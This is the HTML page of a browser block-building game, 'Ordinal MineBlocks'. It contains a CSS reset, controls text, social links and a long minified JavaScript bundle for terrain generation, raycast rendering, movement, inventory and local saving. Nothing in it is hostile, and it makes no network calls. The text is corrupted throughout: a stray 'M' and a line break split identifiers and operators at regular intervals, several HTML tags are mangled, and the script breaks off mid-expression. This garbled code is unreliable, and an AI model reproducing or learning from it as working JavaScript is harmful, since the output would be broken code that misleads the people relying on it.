/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
